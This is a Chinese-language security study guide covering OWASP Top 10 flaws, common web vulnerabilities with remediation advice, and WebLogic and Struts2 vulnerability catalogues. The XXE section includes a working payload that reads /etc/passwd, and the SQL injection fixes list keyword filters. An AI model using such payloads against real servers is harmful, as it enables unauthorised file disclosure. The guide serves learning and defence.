Information Security Guide


Information Security Guide

👪Enomothem|Pgg|Z|tangshan|Agreement|Executor 📫enomothem@outlook.com

致力于收集全面的资料,帮助学习信息安全知识的参考指南。

TODO

Web漏洞 ————————————————————————————— 2021.3.7

编辑器漏洞 2021.3.7 Z

中间件漏洞 ————————————————————————————— 2021.3.7

Fastjson漏洞集 2021.3.8 Enomothem

Tomcat漏洞集 2021.3.8 Enomothem

IIS\Apache\Nginx\Jboss漏洞集 2021.3.8 Enomothem

Shiro漏洞集 2022.3.7 Enomothem

Fastjson漏洞集 2022.3.7 Enomothem

应急响应 ————————————————————————————— 2021.3.7

流量分析 ————————————————————————————— 2021.3.7

面试整合 ————————————————————————————— 2021.3.7

探雾面试 2021.3.7 Z

内网 2022.3.7 Enomothem

域 2022.3.7 Enomothem

渗透测试指南 ————————————————————————————— 2021.3.7

APT攻击指南 —————————————————————————————2021.3.7

附1:端口号 ————————————————————————————— 2021.3.7

附2:常用工具 ————————————————————————————— 2021.3.7

附3:常用命令 ————————————————————————————— 2021.3.7

附4:学习平台 ————————————————————————————— 2021.3.7

安全产品 2021.3.7 Enomothem

SRC平台 2021.3.7 Enomothem

Version

InformationSecurity Guide v1.2 2022.3.7

【+】2021.3.7 优化目录树,便于快速定位。

【+】2022.3.7 优化问答格式,便于阅读。

Ax Web漏洞 Web Vulnerability

1. OWASP TOP10

1注入 Injection

  漏洞描述

  Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

注入漏洞,包括 SQL,NoSQL,OS,LDAP 注入等,这些攻击发生在当不可信的数据作为命令或查询语句的一部分,被发送给解释器的时候。攻击者发送的恶意数据可以欺骗解释器,以执行计划外的命令或未被恰当授权时访问数据。

  修复建议

代码层最佳防御sql漏洞方案:使用预编译sql语句查询和绑定变量。

  (1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

  (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。

  (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

  (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。

  (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。

  (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

  (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

  (8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。

1.CRLF注入

  漏洞描述

  CRLF 是“回车 +换行”(\r\n)的简称。在 HTTP 协议中,HTTPHeader 与 HTTP Body 是用两个 CRLF 符号进行分隔的,浏览器根据这两个 CRLF 符号来获取 HTTP 内容并显示。因此,一旦攻击者能够控制 HTTP 消息头中的字符,注入一些恶意的换行,就能注入一些会话 Cookie 或者 HTML 代码。

  修复建议

  1、过滤 \r 、\n 及其各种编码的换行符,避免输入的数据污染到其他 HTTP 消息头。

2.LDAP注入

  漏洞描述

  由于Web 应用程序没有对用户发送的数据进行适当过滤和检查,攻击者可修改LDAP 语句的结构,并且以数据库服务器、Web 服务器等的权限执行任意命令,许可权可能会允许查询、修改或除去 LDAP 树状构造内任何数据。

  修复建议

  对用户的输入内容进行严格的过滤。

2 破坏身份认证

Broken Authentication,与认证和会话管理相关的应用函数经常被错误地应用,这就允许攻击者窃取密码、密钥、会话 token,或者利用其他的应用错误来暂时或者永久地获取用户身份信息。

3 敏感数据泄露

Sensitive Data Exposure ,许多 web 应用和 API 不能合理的保护敏感数据,比如金融、医疗数据和 PII。攻击者可能窃取或篡改这些弱保护的数据进行信用卡诈骗、身份窃取或者其他犯罪。敏感数据需要额外的保护,比如在存放和传输过程中的加密,在与浏览器进行交换时也需要特殊的预防措施。

4 外部处理器漏洞 XXE

许多过时的或者配置不当的 XML 处理器在 XML 文档内进行外部实体引用。外部实体可以被用来泄露内部文件,比如使用文件 URI handler,内部文件共享,内部端口扫描,远程代码执行和拒绝服务攻击。

当XML允许引用外部实体,关键字“SYSTEM”会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。

简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器,对外部实体有不同的处理规则。

在PHP中默认处理的函数为xml_parse和simplexml_load,xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java、Python等处理XML的组件及函数中,都可能存在此问题。

如何判断是否存在XML外部实体攻击?那就是寻找那些接受XML作为输入内容的端点,而有些端点可能并不是那么明显,比如一些仅使用JSON去访问服务的客户端,可以通过修改HTTP的请求或修改Content-Type头部字段等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,那么就可能存在XXE攻击漏洞。

危害:借助XXE,攻击者可以实现任意文件读取,DDOS拒绝服务攻击以及代理扫描内网等。

Payload:

当有回显时,直接利用payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

防御

防御XXE攻击主要有三方面:一是检查所使用的底层XML解析库,默认禁止外部实体的解析;二是若使用第三方应用代码需要及时升级补丁;三是对用户提交的XML数据进行过滤,如关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。

5 失效的访问控制

Broken Access Control ,仅允许认证的用户的限制没有得到适当的强制执行。攻击者可以利用这些权限来访问未经授权的功能和数据,例如访问其他用户的账户,查看敏感文件,修改其他用户的数据,更改访问权限等。

6 安全配置错误

Security Misconfiguration,安全配置错误是常见的问题,这是不安全的默认配置、不完整或者 ad hoc 网络配置、开放云存储、错误配置的 HTTP 头、含有敏感信息的冗长错误信息造成的。除了要安全设定所有的操作系统、框架、库、应用外,还要及时进行系统更新和升级。

7 跨站脚本攻击 XSS

当应用程序在新网页中包含不受信任的数据而无需正确的验证或转义时,或使用可以创建 HTML 或者 JavaScript 的浏览器 API 并使用用户提供的数据更新现有网页就会发生 XSS 缺陷。XSS 允许攻击者在受害者的浏览器上执行脚本,从而劫持用户会话、危害网站、或者将用户转向恶意网站。

  漏洞描述

  1、Web程序代码中对用户提交的参数未做过滤或过滤不严,导致参数中的特殊字符破坏了HTML页面的原有逻辑,攻击者可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录,然后获取其登录凭证等。

  2、XSS攻击对Web服务器本身虽无直接危害,但是它借助网站进行传播,对网站用户进行攻击,窃取网站用户账号身份信息等,从而也会对网站产生较严重的威胁。

XSS攻击可导致以下危害:

  1、钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术发起更高级的钓鱼攻击。

  2、网站挂马:跨站时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马。

  3、身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。

  4、盗取网站用户信息:当窃取到用户cookie从而获取到用户身份时,攻击者可以盗取到用户对网站的操作权限,从而查看用户隐私信息。

  5、垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

  6、劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等等。

  7、XSS蠕虫:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、实施DDoS攻击等。

  修复建议

xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义

  (1)过滤输入的数据,对例如:“ ‘ ”,“ “ ”,” < “,” > “,” on* “,script、iframe等危险字符进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。

  (2)不仅验证数据的类型,还要验证其格式、长度、范围和内容。

  (3)不仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

  (4)对输出到页面的数据进行相应的编码转换,如HTML实体编码、JS编码等。对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行检查。

8 不安全的反序列化

Insecure Deserialization,不安全的反序列化漏洞经常导致远程代码执行。即使反序列化错误不导致远程代码执行,也可以被用于发起攻击,例如重放攻击、注入攻击和权限提升攻击等。

9 使用含有已知漏洞的组件

Using Components with Known Vulnerabilities,组件,比如库、框架和其他软件模块,是与应用相同权限运行的。如果一个有漏洞的组件被利用,这种攻击可以造成更为严重的数据丢失或服务器接管。使用已知漏洞组件的应用和 API 可能会破坏应用程序的防御系统,并使一系列可能的攻击和影响成为可能。

10 记录和监控不足风险

Insufficient Logging & Monitoring,记录和监控不足,加上没有与应急响应有效的结合,让攻击者可以进一步攻击系统、篡改、提取或者销毁数据。大多数的数据泄露研究显示,通常要经过 200 天以上,使用者才能察觉到数据泄露事件的发生,而且往往是外部机构而不是内部的监控系统发现数据泄露的事实。

2.CSRF和SSRF

1.CSRF

  漏洞描述

  CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

  修复建议

  1、验证请求的Referer是否来自本网站,但可被绕过。

  2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确则丢弃拒绝服务。

2.SSRF

  漏洞描述

  SSRF(Server-Side Request Forgery,服务器端请求伪造):通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:

  (1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

  (2)、攻击运行在内网或本地的应用程序(比如溢出);

  (3)、对内网Web应用进行指纹识别,通过访问默认文件实现;

  (4)、攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等);

  (5)、利用File协议读取本地文件。

  修复建议

  1、禁用不需要的协议,只允许HTTP和HTTPS请求,可以防止类似于file://, gopher://, ftp:// 等引起的问题。

  2、白名单的方式限制访问的目标地址,禁止对内网发起请求

  3、过滤或屏蔽请求返回的详细信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  4、验证请求的文件格式

  5、禁止跳转

  6、限制请求的端口为http常用的端口,比如 80、443、8080、8000等

  7、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3.常见漏洞(一)

1.任意命令/代码执行

  漏洞描述

  命令或代码执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令和代码,通过漏洞执行恶意构造的语句,执行任意命令或代码。攻击者可在服务器上执行任意命令,读写文件操作等,危害巨大。

  修复建议

  1、严格过滤用户输入的数据,禁止执行非预期系统命令。

  2、减少或不使用代码或命令执行函数

  3、客户端提交的变量在放入函数前进行检测

  4、减少或不使用危险函数

2.任意文件上传

  漏洞描述

  文件上传漏洞通常由于代码中对文件上传功能所上传的文件过滤不严或web服务器相关解析漏洞未修复而造成的,如果文件上传功能代码没有严格限制和验证用户上传的文件后缀、类型等,攻击者可通过文件上传点上传任意文件,包括网站后门文件(webshell)控制整个网站。

  修复建议

  1、对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。

  2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关上传文件目录的执行权限,防止木马执行。

  3、对上传文件格式进行严格校验,防止上传恶意脚本文件;

  4、严格限制上传的文件路径。

  5、文件扩展名服务端白名单校验。

  6、文件内容服务端校验。

  7、上传文件重命名。

  8、隐藏上传文件路径。

3.目录穿越/目录遍历

  漏洞描述

  文件下载或获取文件显示内容页面由于未对传入的文件名进行过滤,利用路径回溯符../跳出程序本身的限制目录,来下载或显示任意文件。

  修复建议

  对传入的文件名参数进行过滤,并且判断是否是允许获取的文件类型,过滤回溯符../。

4.文件包含

  漏洞描述

  本地文件包含是指程序在处理包含文件的时候没有严格控制。利用这个漏洞,攻击者可以先把上传的文件、网站日志文件等作为代码执行或直接显示出来,或者包含远程服务器上的恶意文件,进而获取到服务器权限。

  修复建议

  1、严格检查变量是否已经初始化。

  2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。

  3、严格检查文件包含函数中的参数是否外界可控。

5.弱口令

  漏洞描述

  由于网站用户帐号存在弱口令,导致攻击者通过弱口令可轻松登录到网站中,从而进行下一步的攻击,如上传webshell,获取敏感数据。

  另外攻击者利用弱口令登录网站管理后台,可执行任意管理员的操作。

  修复建议

  1、强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;

  2、完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。

  3、增加人机验证机制,限制ip访问次数。

6.暴力破解

  漏洞描述

  由于没有对登录页面进行相关的人机验证机制,如无验证码、有验证码但可重复利用以及无登录错误次数限制等,导致攻击者可通过暴力破解获取用户登录账号和密码。

  修复建议

  1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)

  2、如果某个 IP登录次数超过设置的阈值,则锁定IP

  3、增加人机验证机制

  4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。

7.越权访问

  漏洞描述

  由于没有对用户访问角色的权限进行严格的检查及限制,导致当前账号可对其他账号进行相关操作,如查看、修改等。对低权限对高权限账户的操作为纵向越权,相同权限账户之间的操作成为横向越权也称水平越权。

  修复建议

  1、对用户访问角色的权限进行严格的检查及限制。

  2、在一些操作时可以使用session对用户的身份进行判断和控制

8.未授权访问

  漏洞描述

  由于没有对网站敏感页面进行登录状态、访问权限的检查,导致攻击者可未授权访问,获取敏感信息及进行未授权操作。

  修复建议

  1、页面进行严格的访问权限的控制以及对访问角色进行权限检查。

  2、可以使用session对用户的身份进行判断和控制。

9.列目录

  漏洞描述

  由于web服务器配置不当,开启了目录浏览,攻击者可获得服务器上的文件目录结构,获取敏感文件。

  修复建议

  1、通过修改配置文件,禁止中间件(如IIS、apache、tomcat)的文件目录索引功能

  2、设置目录访问权限

10.PHP反序列化

漏洞描述

  php反序列化漏洞也叫PHP对象注入,形成原因为程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、文件操作、执行数据库操作等不可控后果。这一类攻击在java、python等面向对象语言中均存在。

可参考:https://www.freebuf.com/articles/web/167721.html

  修复建议

  1、对传入的对象进行严格的过滤检查

  2、在反序列化过程执行的文件读写、命令或代码执行函数中是否有用户可控的参数。

4.常见漏洞(二)

11.http slow拒绝服务攻击

  漏洞描述

  按照设计,HTTP协议要求服务器在处理之前完全接收请求。 如果HTTP请求没有完成,或者传输速率非常低,服务器会保持其资源忙于等待其余数据。如果服务器保持太多的资源请求和处理,这将造成一个拒绝服务。严重者一台主机即可让web运行缓慢甚至是崩溃。

  修复建议

  对于 Apache 可以做以下优化(其他服务器原理相同):

  1、设置合适的 timeout 时间(Apache 已默认启用了 reqtimeout 模块),规定了 Header 发送的时间以及频率和 Body 发送的时间以及频率

  2、增大 MaxClients(MaxRequestWorkers):增加最大的连接数。根据官方文档,两个参数是一回事,版本不同,MaxRequestWorkers was called MaxClients before version 2.3.13.Theold name is still supported.

  3、默认安装的 Apache 存在 Slow Attack 的威胁,原因就是虽然设置的 timeoute,但是最大连接数不够,如果攻击的请求频率足够大,仍然会占满Apache的所有连接

12.URL 跳转

  漏洞描述

  有的Web 应用程序中使用URL参数中的地址作为跳转链接的功能 ,攻击者可实施钓鱼、恶意网站跳转等攻击。

  修复建议

  1、在进行页面跳转前校验传入的URL是否为可信域名。

  2、白名单规定跳转链接

13.明文传输

  漏洞描述

  用户登录过程中使用明文传输用户登录信息,若用户遭受中间人攻击时,攻击者可直接获取该用户登录账户,从而进行进一步渗透。

  修复建议

  1、用户登录信息使用加密传输,如密码在传输前使用安全的算法加密后传输,可采用的算法包括:不可逆hash算法加盐(4位及以上随机数,由服务器端产生);安全对称加密算法,如AES(128、192、256位),且必须保证客户端密钥安全,不可被破解或读出;非对称加密算法,如RSA(不低于1024位)、SM2等。

  2、使用https来保证传输的安全。

14.网页木马

  漏洞描述

  经渗透测试发现目标站点存在webshell,攻击者可直接爆破口令使用木马,非常低成本的进行恶意操作。

  修复建议

  1、确认并删除木马文件,并进行本地文件漏洞扫描排查是否还存在有其他木马。

  2、发现并及时修复已存在的漏洞。

  3、通过查看日志、服务器杀毒等安全排查,确保服务器未被留下后门

15.备份文件泄露

  漏洞描述

  网站备份文件或、敏感信息文件存放在某个网站目录下,攻击者可通过文件扫描等方法发现并下载该备份文件,导致网站敏感信息泄露。

  修复建议

  1、不在网站目录下存放网站备份文件或敏感信息的文件。

  2、如需存放该类文件,请将文件名命名为难以猜解的无规则字符串。

16.敏感信息泄露

  漏洞描述

  在页面中或者返回的响应包中泄露了敏感信息,通过这些信息,给攻击者渗透提供了非常多的有用信息。

  修复建议

  1、如果是探针或测试页面等无用的程序建议删除,或者修改成难以猜解的名字。

  2、不影响业务或功能的情况下删除或禁止访问泄露敏感信息页面。

  3、在服务器端对相关敏感信息进行模糊化处理。

  4、对服务器端返回的数据进行严格的检查,满足查询数据与页面显示数据一致。

17.短信/邮件轰炸

  漏洞描述

  由于没有对短信或者邮件发送次数进行限制,导致可无限次发送短信或邮件给用户,从而造成短信轰炸,进而可能被大量用户投诉,从而影响公司声誉。

  修复建议

  在服务器限制发送短信或邮件的频率,如同一账号1分钟只能发送1次短信或邮件,一天只能发送3次。

18.phpinfo信息泄漏

  漏洞描述

  Web站点的某些测试页面可能会使用到PHP的phpinfo()函数,会输出服务器的关键信息,造成服务器信息泄露,为攻击提供有利的信息。

  修复建议

  1、删除phpinfo 函数。

  2、若文件无用可直接删除。

19.IIS短文件名泄露漏洞

  漏洞描述

  Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。

  攻击者可通过该漏洞尝试获取网站服务器文件的文件名,达到获取更多信息来入侵服务器的目的。

  修复建议

  修改Windows配置,关闭短文件名功能。

  1.关闭NTFS 8.3文件格式的支持。该功能默认是开启的,对于大多数用户来说无需开启。

  2.如果是虚拟主机空间用户,可采用以下修复方案:

  1)修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。

  2)如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 — Web 服务扩展 - ASP.NET 选择禁止此功能。

  3)升级net framework 至4.0以上版本。

  3.将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的。

20.应用程序错误信息泄露

  漏洞描述

  攻击者可通过特殊的攻击向量,使web服务器出现500、403等相关错误,导致信息泄漏如绝对路径、webserver版本、源代码、sql语句等敏感信息,恶意攻击者很有可能利用这些信息实施进一步的攻击。

  修复建议

  1、自定义错误页面或使用统一的错误页面提示。

21.Apache Tomcat默认文件

  漏洞描述

  Apache Tomcat默认样例文件没有删除或限制访问,可能存在cookie、session伪造,进行后台登录操作

  修复建议

  1、删除样例文件

  2、限制文件访问权限

22.Crossdomain.xml 配置不当

  漏洞描述

  网站根目录下的 crossdomain.xml 文件指明了远程Flash 是否可以加载当前网站的资源(图片、网页内容、Flash等)。如果配置不当,可能导致遭受跨站请求伪造(CSRF)攻击。

  修复建议

  对于不需要从外部加载资源的网站,在 crossdomain.xml 文件中更改allow-access-from的domain属性为域名白名单。

23.目标服务器启用了不安全 HTTP 方法

  漏洞描述

  目标服务器启用了不安全的传输方法,如PUT、TRACE、DELETE、MOVE等,这些方法表示可能在服务器上使用了 WebDAV,由于dav方法允许客户端操纵服务器上的文件,如上传、修改、删除相关文件等危险操作,如果没有合理配置dav,有可能允许未授权的用户对其进行利用,修改服务器上的文件。

  修复建议

  1、关闭不安全的传输方法,只开启POST、GET方法。

  2、如果服务器不使用 WebDAV 可直接禁用,或为允许webdav的目录配置严格的访问权限,如认证方法,认证需要的用户名,密码。

24.编辑器漏洞

  漏洞描述
  待撰写

  修复建议
  待撰写

Bx 中间件集 Middleware vulnerabilities

中间件(英语:Middleware),又译中间件、中介层,是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。在现代信息技术应用框架如 Web 服务、面向服务的体系结构等项目中应用比较广泛。如数据库、Apache 的 Tomcat ,IBM 公司的 WebSphere ,BEA 公司的 WebLogic 应用服务器,东方通公司的 Tong 系列中间件,以及 Kingdee 公司的等都属于中间件。 ——维基百科

1.Oracle Weblogic 系列漏洞

Port:7001/7002

如何判断:Weblogic漏洞检测脚本 手工:访问默认地址url:7001/console,可以修改数据源。

参考:

[1] https://mp.weixin.qq.com/s/NgO_rj6rmjV-f7fhzDkCOw

漏洞集合:

基于Weblogic t3协议引起远程代码执行的反序列化漏洞全家福:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
基于wls-wsat服务组件的引起远程代码执行的反序列化漏洞:
CVE-2017-3506
CVE-2017-10271
任意文件上传漏洞:
CVE-2018-2894
wls-wsat XMLDecoder 反序列化漏洞(CVE-2017-10271) )
Weblogic的WLS Security组件对外提供webservice服务,其中使
用了XMLDecoder来解析用户传入的XML数据,在解析的过程中
出现反序列化漏洞,导致可执行任意命令。
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Weblogic 任意文件上传漏洞(CVE-2018-2894) )

weblogic SSRF服务器请求伪造

  漏洞描述

  目标存在weblogic SSRF服务器请求伪造漏洞。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。Weblogic中间件默认带有“UDDI 目录浏览器”且为未授权访问,通过该应用,可进行无回显的SSRF请求。攻击者可利用该漏洞对企业内网进行大规模扫描,了解内网结构,并可能结合内网漏洞直接获取服务器权限。

  修复建议

  1、若不影响业务则可删除uddiexplorer文件夹

  2、限制uddiexplorer应用只能内网访问

2.Apache Struts2 系列漏洞

如何判断:Struts2漏洞检测脚本 手工:看url里面的连接,如果是XXX.action结尾或直接XXX?参数1=XXX,应该就是stuts2。当然后缀是可以自定义的,但是几乎没有人无聊的改后缀吧。

Struts2漏洞目录

  • S2-001 - 远程代码利用表单验证错误
  • S2-002 - <s:url>和<s:a>标记上的跨站点脚本(XSS)漏洞
  • S2-003 - XWork ParameterInterceptors旁路允许OGNL语句执行
  • S2-004 - 提供静态内容时的目录遍历漏洞
  • S2-005 - XWork ParameterInterceptors旁路允许远程命令执行
  • S2-006 - XWork中的多个跨站点脚本(XSS)生成错误页面
  • S2-007 - 当出现转换错误时,用户输入被评估为OGNL表达式
  • S2-008 - Struts2中的多个关键漏洞
  • S2-009 - ParameterInterceptor漏洞允许远程命令执行
  • S2-010 - 当使用Struts 2令牌机制进行CSRF保护时,可能会因滥用已知会话属性而绕过令牌检查
  • S2-011 - 长请求参数名称可能会显着提高DOS攻击的有效性
  • S2-012 - 展示应用程序漏洞允许远程命令执行
  • S2-013 - URL和锚标记的includeParams属性中存在的漏洞允许远程命令执行
  • S2-014 - 强制参数包含在URL和锚标记中引入的漏洞允许远程命令执行,会话访问和操作以及XSS攻击
  • S2-015 - 通配符匹配机制引入的漏洞或OGNL表达式的双重评估允许远程命令执行。
  • S2-016 - 通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行
  • S2-017 - 通过操作前缀为“redirect:”/“redirectAction:”的参数引入的漏洞允许打开重定向
  • S2-018 - Apache Struts2中的访问控制漏洞
  • S2-019 - 默认情况下禁用动态方法调用
  • S2-020 - 将Commons FileUpload升级到版本1.3.1(避免DoS攻击)并添加’class’以排除ParametersInterceptor中的params(避免ClassLoader操作)
  • S2-021 - 改进了ParametersInterceptor和CookieInterceptor中被排除的参数,以避免ClassLoader操作
  • S2-022 - 在CookieInterceptor中扩展排除的params以避免操纵Struts的内部
  • S2-023 - 令牌的生成值可以预测
  • S2-024 - 错误的excludeParams会覆盖DefaultExcludedPatternsChecker中定义的那些
  • S2-025 - 调试模式和公开的JSP文件中的跨站点脚本漏洞
  • S2-026 - 特殊顶级对象可用于访问Struts的内部
  • S2-027 - TextParseUtil.translateVariables不过滤恶意OGNL表达式
  • S2-028 - 使用具有损坏的URLDecoder实现的JRE可能会导致基于Struts 2的Web应用程序中的XSS漏洞。
  • S2-029 - 在标记属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行。
  • S2-030 - I18NInterceptor中可能的XSS漏洞
  • S2-031 - XSLTResult可用于解析任意样式表
  • S2-032 - 启用动态方法调用时,可以通过方法:前缀执行远程执行代码。
  • S2-033 - 使用REST插件时可以执行远程执行代码!启用动态方法调用时的运算符。
  • S2-034 - OGNL缓存中毒可能导致DoS漏洞
  • S2-035 - 动作名称清理容易出错
  • S2-036 - 在标签属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行(类似于S2-029)
  • S2-037 - 使用REST插件时可以执行远程执行代码。
  • S2-038 - 可以绕过令牌验证并执行CSRF攻击
  • S2-039 - Getter作为行动方法导致安全绕过
  • S2-040 - 使用现有默认操作方法输入验证绕过。
  • S2-041 - 使用URLValidator时可能发生DoS攻击
  • S2-042 - “公约”插件中可能的路径遍历
  • S2-043 - 在生产中使用Config Browser插件
  • S2-044 - 使用URLValidator时可能发生DoS攻击
  • S2-045 - 基于Jakarta Multipart解析器执行文件上载时可能的远程执行代码。
  • S2-046 - 基于Jakarta Multipart解析器执行文件上传时可能的RCE(类似于S2-045)
  • S2-047 - 使用URLValidator时可能发生DoS攻击(类似于S2-044)
  • S2-048 - Struts 2.3.x系列中Struts 1插件示例中的Struts Showcase应用程序中可能的RCE
  • S2-049 - DoS攻击可用于Spring安全操作
  • S2-050 - 使用URLValidator时的正则表达式拒绝服务(类似于S2-044和S2-047)
  • S2-051 - 远程攻击者可能在使用Struts REST插件时通过发送精心设计的xml请求来创建DoS攻击
  • S2-052 - 使用带有XStream处理程序的Struts REST插件处理XML有效负载时可能发生的远程代码执行攻击
  • S2-053 - 在Freemarker标记中使用无意表达而不是字符串文字时可能发生的远程执行代码攻击
  • S2-054 - 使用Struts REST插件时,可以使用精心设计的JSON请求执行DoS攻击
  • S2-055 - Jackson JSON库中的RCE漏洞
  • S2-056 - 使用Struts REST插件时,可以使用精心设计的XML请求执行DoS攻击
  • S2-057 - 当alwaysSelectFullNamespace为true(由用户或插件如Convention Plugin)时可能执行远程代码执行,然后:结果使用没有命名空间,同时,其上层包没有或通配符名称空间,类似于结果,当使用没有值和动作集的url标记时,它的上层包没有或通配符命名空间。

Apache Struts2 远程代码执行漏洞(S2-019)

  漏洞描述

  Apache Struts2的“Dynamic MethodInvocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,如果未关闭此机制将导致远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

  修复建议

  1、目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

  2、或者手工设置struts.xml文件<constantname=”struts.enable.DynamicMethodInvocation”value=”false”/>

Apache Struts2 远程代码执行漏洞(S2-037)

  漏洞描述

  Apache Struts2在使用REST插件时,攻击者可以绕过动态方法执行的限制,调用恶意表达式执行远程代码。

  修复建议

  建议用户到官方获取最新补丁或者最新版本程序。

Apache Struts2 DevMode 远程代码执行漏洞

  漏洞描述

  为了便于开发人员调试程序,Struts2提供了一个devMode模式,可以方便查看程序错误以及日志等信息。当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

  修复建议

